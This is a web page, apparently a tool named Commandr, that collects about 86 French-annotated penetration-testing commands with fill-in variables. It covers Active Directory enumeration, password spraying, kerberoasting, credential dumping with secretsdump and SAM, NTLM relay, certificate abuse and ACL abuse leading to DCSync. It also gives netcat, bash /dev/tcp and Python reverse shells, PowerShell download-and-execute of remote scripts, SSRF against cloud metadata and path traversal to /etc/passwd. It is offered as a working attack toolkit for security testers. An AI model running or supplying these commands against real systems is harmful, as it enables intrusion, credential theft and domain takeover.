Commandr

Centralized command repository for security researchers and penetration testers

Variables Configuration
Configure your target variables. These will be automatically substituted in commands.
acl
ad
adcs
asreproast
authentication
bash
bloodhound
bruteforce
capabilities
certipy
chisel
cloud
coercer
collection
computer
cracking
crackmapexec
credentials
cron
curl
cve
database
dcsync
directory
dns
dnsrecon
download
efsRpc
enum4linuxng
enumeration
esc1
evil-winrm
execution
exploit
exploitation
genericall
genericwrite
gobuster
gopher
gopherus
gpo
group
groups
hashcat
http
impacket
john
kerberoasting
kerberos
kerbrute
krbtgt
lateralmovement
ldap
linenum
linux
listener
llmnr
mdns
mitm
nbtns
netcat
netgroup
netrpc
network
nikto
nishang
nmap
ntlm
ntlmrelay
nuclei
nxc
passwordreset
passwordspray
pathtraversal
peass
petitpotam
pivoting
pki
postexploitation
powershell
printerbug
privesc
processes
psexec
python
rbcd
recon
responder
reverse_shell
rpcclient
samba
scan
script
scripts
searchsploit
server
services
sgid
shadow
shadowcredentials
sharpgpoabuse
sharphound
smb
smbclient
smbexec
sqlinjection
sqlmap
ssrf
subdomain
suid
tcp
technologies
tunneling
udp
user
users
version
vhost
vulnerability
vulnerabilityscan
wappalyzer
web
wget
whisker
windows
winrm
wmiexec
writedacl
writemember
writeowner
writeproperty
Énumération des partages SMB (nmap)
Lister les partages SMB sur une cible.
nmap -p 445 --script smb-enum-shares.nse --script-args smbuser=$USER,smbpass=$PASSWORD $TARGET
smb
nmap
enumeration
windows
ad
Énumération des sessions SMB (nmap)
Lister les sessions SMB actives sur une cible.
nmap -p 445 --script smb-enum-sessions.nse --script-args smbuser=$USER,smbpass=$PASSWORD $TARGET
smb
nmap
enumeration
windows
ad
Brute-force des identifiants SMB (nmap)
Tenter de brute-forcer les identifiants SMB.
nmap -p 445 --script smb-brute.nse --script-args userdb=users.txt,passdb=passwords.txt $TARGET
smb
nmap
bruteforce
windows
ad
Lister les partages SMB (smbclient)
Lister les partages SMB accessibles avec des identifiants.
smbclient -L //$TARGET/ -U $USER%$PASSWORD
smb
smbclient
enumeration
windows
ad
Accéder à un partage SMB (smbclient)
Se connecter à un partage SMB spécifique.
smbclient //$TARGET/SHARE_NAME -U $USER%$PASSWORD
smb
smbclient
windows
ad
Lister les utilisateurs du domaine (rpcclient)
Énumérer les utilisateurs d'un domaine Active Directory.
rpcclient -U "$DOMAIN\$USER%$PASSWORD" -c "enumdomusers" $TARGET
ad
rpcclient
enumeration
windows
Obtenir les informations du domaine (rpcclient)
Récupérer des informations sur le domaine Active Directory.
rpcclient -U "$DOMAIN\$USER%$PASSWORD" -c "querydominfo" $TARGET
ad
rpcclient
enumeration
windows
Énumération LDAP de base (ldapsearch)
Requête LDAP de base pour énumérer tous les objets.
ldapsearch -x -h $TARGET -b "$BASE_DN" '(objectClass=*)'
ldap
ad
enumeration
Énumération des utilisateurs LDAP (ldapsearch)
Lister les sAMAccountName des utilisateurs via LDAP avec authentification.
ldapsearch -x -h $TARGET -D "$DOMAIN\$USER" -w $PASSWORD -b "$BASE_DN" '(objectClass=user)' sAMAccountName
ldap
ad
enumeration
users
Énumération des groupes LDAP (ldapsearch)
Lister les noms communs (cn) des groupes via LDAP avec authentification.
ldapsearch -x -h $TARGET -D "$DOMAIN\$USER" -w $PASSWORD -b "$BASE_DN" '(objectClass=group)' cn
ldap
ad
enumeration
groups
Kerbrute - User Enumeration (kerbrute)
Énumérer les utilisateurs valides via Kerberos.
./kerbrute userenum --dc $TARGET -d $DOMAIN users.txt
ad
kerberos
enumeration
users
kerbrute
Kerbrute - Password Spraying (kerbrute)
Tenter un mot de passe unique contre une liste d'utilisateurs via Kerberos.
./kerbrute passwordspray --dc $TARGET -d $DOMAIN users.txt '$PASSWORD'
ad
kerberos
passwordspray
kerbrute
GetNPUsers - AS-REP Roasting (Impacket)
Récupérer les TGT des utilisateurs n'exigeant pas de pré-authentification Kerberos.
GetNPUsers.py $DOMAIN/$USER -no-pass -dc-ip $TARGET -request
ad
kerberos
asreproast
impacket
GetUserSPNs - Kerberoasting (Impacket)
Récupérer les TGS pour les comptes de service (Kerberoasting).
GetUserSPNs.py -request -dc-ip $TARGET $DOMAIN/$USER:$PASSWORD
ad
kerberos
kerberoasting
impacket
Secretsdump (Impacket)
Extraire les secrets (hashes NTDS.DIT, LSA secrets) d'un contrôleur de domaine.
secretsdump.py $DOMAIN/$USER:$PASSWORD@$TARGET
ad
impacket
postexploitation
credentials
Psexec (Impacket)
Exécuter des commandes à distance via SMB/RPC.
psexec.py $DOMAIN/$USER:$PASSWORD@$TARGET
ad
impacket
psexec
lateralmovement
windows
Smbexec (Impacket)
Alternative à psexec pour l'exécution de commandes à distance.
smbexec.py $DOMAIN/$USER:$PASSWORD@$TARGET
ad
impacket
smbexec
lateralmovement
windows
Wmiexec (Impacket)
Exécuter des commandes à distance via WMI.
wmiexec.py $DOMAIN/$USER:$PASSWORD@$TARGET
ad
impacket
wmiexec
lateralmovement
windows
BloodHound Data Ingestor (SharpHound)
Collecter les données AD pour BloodHound.
SharpHound.exe -c All -d $DOMAIN --DomainController $TARGET
ad
bloodhound
sharphound
enumeration
recon
Scan de ports TCP SYN (nmap)
Scan SYN rapide de tous les ports TCP.
nmap -sS -p- -T4 $TARGET
network
nmap
scan
tcp
Scan de ports UDP (nmap)
Scan des 200 ports UDP les plus courants.
nmap -sU --top-ports 200 -T4 $TARGET
network
nmap
scan
udp
Scan de versions et scripts par défaut (nmap)
Détecter les versions des services et exécuter les scripts par défaut.
nmap -sV -sC $TARGET
network
nmap
scan
version
scripts
Énumération HTTP (nmap)
Énumérer les répertoires et fichiers web courants.
nmap --script http-enum -p 80,443 $TARGET
web
nmap
http
enumeration
Scan de vulnérabilités HTTP (nmap)
Rechercher des vulnérabilités web connues avec les scripts nmap.
nmap --script http-vuln* -p 80,443 $TARGET
web
nmap
http
vulnerabilityscan
Brute-force de répertoires web (gobuster)
Brute-forcer les répertoires et fichiers sur un serveur web.
gobuster dir -u http://$TARGET/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
web
gobuster
bruteforce
enumeration
directory
Brute-force de sous-domaines (gobuster)
Brute-forcer les sous-domaines.
gobuster dns -d $DOMAIN -w /usr/share/wordlists/subdomains.txt
web
dns
gobuster
bruteforce
enumeration
subdomain
Brute-force de vhosts (gobuster)
Brute-forcer les hôtes virtuels (vhosts).
gobuster vhost -u http://$TARGET/ -w /usr/share/wordlists/vhosts.txt -H "Host: FUZZ.$TARGET"
web
gobuster
bruteforce
enumeration
vhost
Scan Nikto de base
Scanner un serveur web pour des vulnérabilités connues.
nikto -h http://$TARGET/
web
nikto
vulnerabilityscan
Scan SQLMap GET
Tester une injection SQL sur un paramètre GET et lister les bases de données.
sqlmap -u "http://$TARGET/vuln_page.php?id=1" --batch --dbs
web
sqlinjection
sqlmap
database
Scan SQLMap POST
Tester une injection SQL sur des paramètres POST.
sqlmap -u "http://$TARGET/login.php" --data="user=test&pass=test&submit=login" --batch --dbs
web
sqlinjection
sqlmap
database
Énumération de fichiers SUID/SGID (Linux)
Trouver les fichiers avec les bits SUID ou SGID positionnés.
find / -type f \( -perm -4000 -o -perm -2000 \) -ls 2>/dev/null
linux
privesc
enumeration
suid
sgid
Vérifier les capacités (Linux)
Lister les capacités des fichiers exécutables.
getcap -r / 2>/dev/null
linux
privesc
enumeration
capabilities
Lister les tâches cron (Linux)
Vérifier les tâches cron système et utilisateur.
cat /etc/crontab; ls -la /etc/cron.*; for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l 2>/dev/null; done
linux
privesc
enumeration
cron
Vérifier les services en cours d'exécution (Linux)
Lister les processus et services actifs.
ps aux; systemctl list-units --type=service --state=running; service --status-all
linux
enumeration
processes
services
Écoute de port avec Netcat (Linux/Windows)
Mettre en place un écouteur Netcat sur un port spécifié.
nc -lvnp $PORT
network
netcat
listener
reverse_shell
Reverse Shell Netcat (Linux)
Reverse shell basique avec Netcat vers votre IP et port.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $YOUR_IP $PORT >/tmp/f
linux
reverse_shell
netcat
postexploitation
Reverse Shell Bash (Linux)
Reverse shell Bash.
bash -i >& /dev/tcp/$YOUR_IP/$PORT 0>&1
linux
reverse_shell
bash
postexploitation
Reverse Shell Python (Linux/Windows)
Reverse shell Python.
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$YOUR_IP",$PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
linux
windows
reverse_shell
python
postexploitation
Télécharger un fichier avec wget (Linux)
Télécharger un fichier depuis un serveur HTTP.
wget http://$YOUR_IP:$PORT/file -O /tmp/file
linux
download
wget
postexploitation
Télécharger un fichier avec curl (Linux)
Télécharger un fichier depuis un serveur HTTP.
curl http://$YOUR_IP:$PORT/file -o /tmp/file
linux
download
curl
postexploitation
Servir des fichiers avec un serveur HTTP Python (Linux/Windows)
Démarrer un serveur HTTP simple pour servir des fichiers depuis le répertoire courant.
python3 -m http.server $PORT
linux
windows
http
server
postexploitation
LinEnum.sh - Script d'énumération Linux
Script complet d'énumération des informations système et des potentielles faiblesses de configuration pour l'escalade de privilèges.
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh; chmod +x /tmp/LinEnum.sh; /tmp/LinEnum.sh -r report.txt -e /tmp/ -t
linux
enumeration
privesc
script
linenum
PEASS-ng (winPEAS/linPEAS) - Script d'énumération
Script d'énumération pour Windows (winPEAS) ou Linux (linPEAS) pour la recherche de vecteurs d'escalade de privilèges.
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -O /tmp/linpeas.sh; chmod +x /tmp/linpeas.sh; /tmp/linpeas.sh -a
linux
windows
enumeration
privesc
script
peass
CrackMapExec - Énumération SMB
Énumérer les partages SMB avec CrackMapExec (alias nxc).
crackmapexec smb $TARGET -u $USER -p $PASSWORD --shares
smb
crackmapexec
nxc
enumeration
windows
ad
CrackMapExec - Énumération des sessions SMB
Énumérer les sessions SMB avec CrackMapExec.
crackmapexec smb $TARGET -u $USER -p $PASSWORD --sessions
smb
crackmapexec
nxc
enumeration
windows
ad
CrackMapExec - Exécution de commande (via wmiexec)
Exécuter une commande à distance avec CrackMapExec (utilise différents protocoles dont WMI).
crackmapexec smb $TARGET -u $USER -p $PASSWORD -x "whoami"
smb
crackmapexec
nxc
wmiexec
lateralmovement
windows
ad
CrackMapExec - Lister les utilisateurs SAM
Tenter de dumper les hashes SAM locaux.
crackmapexec smb $TARGET -u $USER -p $PASSWORD --sam
smb
crackmapexec
nxc
credentials
windows
CrackMapExec - Spraying de mot de passe
Password spraying sur une plage d'IP avec CrackMapExec.
crackmapexec smb $TARGET_RANGE -u users.txt -p '$PASSWORD'
smb
crackmapexec
nxc
passwordspray
windows
ad
CrackMapExec - Énumération LDAP
Énumérer les utilisateurs via LDAP avec CrackMapExec.
crackmapexec ldap $TARGET -u $USER -p $PASSWORD --users
ldap
crackmapexec
nxc
enumeration
ad
users
CrackMapExec - Énumération des groupes LDAP
Énumérer les groupes via LDAP avec CrackMapExec.
crackmapexec ldap $TARGET -u $USER -p $PASSWORD --groups
ldap
crackmapexec
nxc
enumeration
ad
groups
Evil-WinRM - Connexion
Se connecter à une machine Windows via WinRM.
evil-winrm -i $TARGET -u $USER -p $PASSWORD
windows
winrm
evil-winrm
lateralmovement
postexploitation
Hashcat - Crack de hash NTLM
Cracker un hash NTLM avec Hashcat et une wordlist.
hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt
cracking
hashcat
ntlm
windows
John the Ripper - Crack de hash /etc/shadow
Cracker des hashes de mots de passe Linux (format /etc/shadow).
john --wordlist=/usr/share/wordlists/rockyou.txt shadow.txt
cracking
john
linux
shadow
Responder - Empoisonnement LLMNR/NBT-NS/MDNS
Lancer Responder pour capturer les hashes Net-NTLM.
responder -I eth0 -v
network
responder
llmnr
nbtns
mdns
mitm
credentials
windows
ntlmrelayx - Relais NTLM
Relayer des authentifications NTLM pour exécuter des commandes.
ntlmrelayx.py -tf targets.txt -smbsupport -c "whoami"
ad
impacket
ntlmrelay
mitm
lateralmovement
windows
DNSRecon - Énumération DNS
Énumération DNS complète d'un domaine.
dnsrecon -d $DOMAIN -t std,srv,axfr,zonewalk
dns
recon
dnsrecon
enumeration
Enum4linux-ng - Énumération Windows/Samba
Script d'énumération complet pour les systèmes Windows et Samba.
enum4linux-ng.py $TARGET -A -U -S -P -G -oA enum_results
windows
smb
samba
enumeration
enum4linuxng
Recherche de exploits (searchsploit)
Rechercher des exploits dans la base de données locale d'Exploit-DB.
searchsploit <terme_recherche>
exploit
searchsploit
vulnerability
PowerShell - Télécharger et exécuter un script
Télécharger et exécuter un script PowerShell en mémoire.
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://$YOUR_IP:$PORT/script.ps1')"
windows
powershell
postexploitation
download
execution
PowerShell - Reverse Shell (Nishang)
Utiliser le script Invoke-PowerShellTcp de Nishang pour un reverse shell.
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress $YOUR_IP -Port $PORT"
windows
powershell
reverse_shell
nishang
postexploitation
Chisel - Tunneling TCP/UDP via HTTP
Créer un tunnel SOCKS ou un port forward avec Chisel.
./chisel server -p $LISTEN_PORT --reverse &; ./chisel client $SERVER_IP:$LISTEN_PORT R:$REMOTE_PORT:$TARGET_SERVICE_IP:$TARGET_SERVICE_PORT
network
tunneling
chisel
pivoting
postexploitation
Certipy - Énumération et abus de certificats AD CS
Trouver les templates de certificats vulnérables et les CA dans Active Directory Certificate Services.
certipy find -u $USER@$DOMAIN -p $PASSWORD -dc-ip $TARGET -stdout -vulnerable
ad
adcs
pki
certipy
enumeration
vulnerability
Certipy - Requête de certificat (ESC1)
Demander un certificat en se faisant passer pour un autre utilisateur (ex: admin) si ESC1 est exploitable.
certipy req -u $USER@$DOMAIN -p $PASSWORD -dc-ip $TARGET -ca '$CA_NAME' -template '$TEMPLATE_NAME' -upn $ADMIN_USER@$DOMAIN
ad
adcs
pki
certipy
esc1
exploitation
Certipy - Authentification avec certificat
S'authentifier en utilisant un certificat PFX obtenu.
certipy auth -pfx cert.pfx -dc-ip $TARGET -username $FORGED_USER -domain $DOMAIN
ad
adcs
pki
certipy
authentication
Coercer - Authentification de machine (PrinterBug)
Tenter de forcer une machine (ex: un DC) à s'authentifier sur une machine contrôlée (listener) via le spooler service.
python coercer.py -u $USER -p $PASSWORD -d $DOMAIN -th $TARGET_DC -l $YOUR_LISTENER_IP
ad
windows
coercer
printerbug
ntlmrelay
credentials
PetitPotam - Forcer l'authentification NTLM via EFSRPC
Forcer une machine Windows à s'authentifier sur une machine arbitraire via MS-EFSRPC.
python PetitPotam.py -u $USER -p $PASSWORD -d $DOMAIN $YOUR_LISTENER_IP $TARGET_DC
ad
windows
petitpotam
efsRpc
ntlmrelay
credentials
Scan de vulnérabilités web avec Nuclei
Scanner une URL avec des templates Nuclei pour des CVEs.
nuclei -u http://$TARGET -t ~/nuclei-templates/cves/
web
vulnerabilityscan
nuclei
cve
Scan de technologies web avec Wappalyzer (CLI)
Identifier les technologies utilisées par un site web.
wappalyzer http://$TARGET
web
recon
enumeration
wappalyzer
technologies
Test de traversée de répertoire (Path Traversal)
Tentative basique de path traversal pour lire /etc/passwd.
curl http://$TARGET/../../../../etc/passwd
web
pathtraversal
vulnerability
curl
Test de Server-Side Request Forgery (SSRF) basique
Tentative basique de SSRF pour accéder aux métadonnées d'instance cloud.
curl -X POST -d 'url=http://169.254.169.254/latest/meta-data/' http://$TARGET/proxy?url=
web
ssrf
vulnerability
cloud
curl
Gopherus pour SSRF vers des services internes
Générer une payload Gopher pour exploiter un SSRF vers un service interne comme MySQL.
gopherus --exploit mysql "$USER:$PASSWORD@tcp($INTERNAL_DB_IP:3306)/$DB_NAME" "SELECT @@version;"
web
ssrf
gopher
exploitation
gopherus
BloodHound: GenericAll/GenericWrite sur un Utilisateur - Réinitialisation de mot de passe (PowerShell)
Exploiter GenericAll/GenericWrite sur un utilisateur pour réinitialiser son mot de passe. Nécessite des outils AD PowerShell et des droits suffisants pour exécuter sur/contre un DC ou une machine avec les outils RSAT.
Set-ADAccountPassword -Identity $TARGET_USER -NewPassword $(ConvertTo-SecureString -String '$NEW_PASSWORD' -AsPlainText -Force) -Reset -Server $DOMAIN_CONTROLLER
ad
bloodhound
genericall
genericwrite
user
passwordreset
powershell
postexploitation
BloodHound: GenericAll/GenericWrite sur un Utilisateur - Réinitialisation de mot de passe (rpcclient)
Utiliser rpcclient pour réinitialiser le mot de passe d'un utilisateur cible si vous avez GenericWrite/GenericAll dessus. Le compte $ATTACKER_USER a le droit sur $TARGET_USER.
rpcclient -U "$DOMAIN\$ATTACKER_USER%$ATTACKER_PASSWORD" -c "setuserinfo2 \"$TARGET_USER\" 24 \"$NEW_PASSWORD\"" $DOMAIN_CONTROLLER_IP
ad
bloodhound
genericall
genericwrite
user
passwordreset
rpcclient
postexploitation
BloodHound: GenericAll/GenericWrite sur un Groupe - Ajout d'utilisateur (PowerShell)
Exploiter GenericAll/GenericWrite sur un groupe pour y ajouter un utilisateur. $USER_TO_ADD peut être votre utilisateur compromis.
Add-ADGroupMember -Identity "$TARGET_GROUP" -Members "$USER_TO_ADD" -Server $DOMAIN_CONTROLLER
ad
bloodhound
genericall
genericwrite
group
privesc
powershell
postexploitation
BloodHound: GenericAll/GenericWrite sur un Groupe - Ajout d'utilisateur (net group)
Alternative avec 'net group' pour ajouter un utilisateur à un groupe. Exécuter depuis une machine jointe au domaine ou via psexec/winrm.
net group "$TARGET_GROUP_NAME" "$USER_TO_ADD" /add /domain
ad
bloodhound
genericall
genericwrite
group
privesc
netgroup
postexploitation
BloodHound: WriteDacl sur un Utilisateur/Groupe - Donner DCSync (PowerShell)
Si vous avez WriteDacl sur l'objet domaine, vous pouvez vous donner les droits DCSync. Ici, on donne à un $TARGET_USER_FOR_DCSYNC les droits DS-Replication-Get-Changes et DS-Replication-Get-Changes-All. Complexe, à adapter avec soin.
$TargetUser = Get-ADUser -Identity $TARGET_USER_FOR_DCSYNC; $ACL = Get-Acl -Path "AD:$($TargetUser.DistinguishedName)"; $SID = [System.Security.Principal.SecurityIdentifier] "S-1-5-32-544"; $ACE1 = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $SID, "Replicating Directory Changes", "Allow"; $ACE2 = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $SID, "Replicating Directory Changes All", "Allow"; $ACL.AddAccessRule($ACE1); $ACL.AddAccessRule($ACE2); Set-Acl -Path "AD:$($TargetUser.DistinguishedName)" -AclObject $ACL
ad
bloodhound
writedacl
dcsync
privesc
powershell
acl
BloodHound: WriteDacl sur un Utilisateur - Se donner GenericAll (PowerShell)
Exploiter WriteDacl sur un objet (ex: utilisateur, groupe, ordinateur) pour s'accorder (à $YOUR_CONTROLLED_USER) le droit GenericAll sur cet objet.
$TargetObject = Get-ADUser -Identity '$TARGET_USER_ON_WHICH_YOU_HAVE_WRITEDACL'; $UserSID = [System.Security.Principal.NTAccount]'$DOMAIN\$YOUR_CONTROLLED_USER').Translate([System.Security.Principal.SecurityIdentifier]); $ACL = Get-Acl AD:'$($TargetObject.DistinguishedName)'; $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $UserSID, 'GenericAll', 'Allow'; $ACL.AddAccessRule($ACE); Set-Acl -AclObject $ACL -Path AD:'$($TargetObject.DistinguishedName)'
ad
bloodhound
writedacl
genericall
privesc
powershell
acl
postexploitation
BloodHound: GenericAll/WriteProperty sur Ordinateur - Abus de délégation basée sur les ressources (RBCD)
Si vous avez GenericAll/WriteProperty (spécifiquement pour msDS-AllowedToActOnBehalfOfOtherIdentity) sur un ordinateur cible ($VICTIM_COMPUTER_NAME), vous pouvez configurer RBCD pour qu'un ordinateur que vous contrôlez ($ATTACKER_COMPUTER_NAME) puisse s'authentifier en tant qu'utilisateur sur l'ordinateur cible.
rbcd.py -action write -delegate-to $ATTACKER_COMPUTER_NAME\$ -target-spn HOST/$VICTIM_COMPUTER_NAME -dc-ip $DOMAIN_CONTROLLER_IP '$DOMAIN/$USER_WITH_WRITE_PRIVS:$PASSWORD'
ad
bloodhound
genericall
writeproperty
rbcd
computer
impacket
lateralmovement
postexploitation
BloodHound: GenericAll/WriteProperty sur Ordinateur - Shadow Credentials (Whisker/Certipy)
Si vous avez GenericAll/WriteProperty (spécifiquement pour msDS-KeyCredentialLink) sur un objet ordinateur ($TARGET_COMPUTER_NAME$), vous pouvez ajouter des informations d'identification 'shadow' (via un certificat) pour vous authentifier en tant que cet ordinateur. La commande est pour Certipy, Whisker a une approche similaire.
certipy account create -u '$USER_WITH_GENERICALL_ON_COMPUTER$'@'$DOMAIN' -p '$PASSWORD' -account '$TARGET_COMPUTER_NAME$' -dc-ip $DOMAIN_CONTROLLER_IP -vulnerable -stdout # Puis certipy auth ...
ad
bloodhound
genericall
writeproperty
shadowcredentials
computer
certipy
whisker
authentication
postexploitation
BloodHound: WriteOwner sur Objet - Prendre possession puis WriteDacl
Si vous avez WriteOwner sur un objet, vous pouvez en devenir propriétaire, puis modifier sa DACL pour vous accorder GenericAll. Nécessite un script comme Set-Owner.ps1 ou des appels LDAP/ADSI complexes.
Set-Owner.ps1 -TargetSamAccountName $TARGET_OBJECT_SAMNAME -NewOwnerSamAccountName $YOUR_CONTROLLED_USER_SAMNAME; # Ensuite, utiliser Set-ACL pour se donner GenericAll
ad
bloodhound
writeowner
writedacl
privesc
acl
powershell
postexploitation
BloodHound: GenericAll/WriteProperty sur GPO - Modification de GPO (SharpGPOAbuse)
Si vous avez GenericAll/WriteProperty sur un objet GPO, vous pouvez le modifier pour, par exemple, ajouter un utilisateur au groupe Administrateurs local sur les machines où la GPO s'applique.
SharpGPOAbuse.exe --AddUserToLocalGroup --UserAccount $YOUR_USER --Group "Administrators" --GPOName "$TARGET_GPO_NAME" --Domain $DOMAIN
ad
bloodhound
genericall
writeproperty
gpo
sharpgpoabuse
privesc
lateralmovement
BloodHound: GenericAll/WriteProperty sur GPO - Modification de GPO (PowerShell pour Immediate Task)
Modifier une GPO pour exécuter une commande ou un script sur les ordinateurs affectés. Nécessite les cmdlets PowerShell de gestion des GPO ou une interaction directe avec SYSVOL et les objets GPO LDAP. Ceci est un pseudo-code conceptuel.
# PowerShell complexe pour créer/modifier une tâche planifiée immédiate via GPO. Exemple: New-GPOImmediateTask -TaskName "Pwn" -GPODisplayName "$TARGET_GPO_NAME" -Command "cmd.exe" -Arguments "/c script.bat" -Author $DOMAIN\$USER
ad
bloodhound
genericall
gpo
privesc
powershell
lateralmovement
BloodHound: DCSync (Droits DS-Replication-Get-Changes et DS-Replication-Get-Changes-All)
Si un utilisateur ($USER_WITH_DCSYNC_RIGHTS) a les droits DCSync sur le domaine, il peut répliquer les secrets de n'importe quel utilisateur, y compris krbtgt.
secretsdump.py -just-dc-user $DOMAIN\$USER_WITH_DCSYNC_RIGHTS@$DOMAIN_CONTROLLER_IP $TARGET_USER_TO_DUMP
ad
bloodhound
dcsync
credentials
impacket
krbtgt
postexploitation
BloodHound: AddSelfToGroup (WriteMember)
Si votre utilisateur a le droit d'ajouter des membres à un groupe (WriteProperty sur l'attribut 'member' ou contrôle spécifique 'Add member'), vous pouvez vous ajouter vous-même.
Add-ADGroupMember -Identity '$TARGET_GROUP_NAME' -Members '$YOUR_USER_ACCOUNT_WHO_HAS_THE_RIGHT'
ad
bloodhound
writemember
group
privesc
powershell
BloodHound: Ajout d'utilisateur à un groupe (net rpc)
Exploiter le droit d'ajouter un membre à un groupe (ex: GenericWrite, WriteProperty sur 'member', AddMember) en utilisant 'net rpc'. $CONTROLLED_USER est le compte ayant le droit sur $TARGET_GROUP. $TARGET_USER_TO_ADD est l'utilisateur à ajouter.
net rpc group addmem "$TARGET_GROUP" "$TARGET_USER_TO_ADD" -U "$DOMAIN\$CONTROLLED_USER%$PASSWORD" -S "$DOMAIN_CONTROLLER"
ad
bloodhound
genericwrite
writemember
group
privesc
netrpc
samba
postexploitation
linux
CrackMapExec/NXC: Collecte BloodHound via LDAP
Utiliser NXC (CrackMapExec) pour collecter toutes les données BloodHound via le protocole LDAP, en utilisant le contrôleur de domaine cible ($TARGET) comme serveur DNS pour la résolution. Remplacez $USER et $PASSWORD par des identifiants valides pour le domaine.
nxc ldap $TARGET -u '$USER' -p '$PASSWORD' --bloodhound -c All --dns-server $TARGET
ad
ldap
nxc
crackmapexec
bloodhound
recon
enumeration
collection
postexploitation

Security Research Cheat Sheet - 86 commands available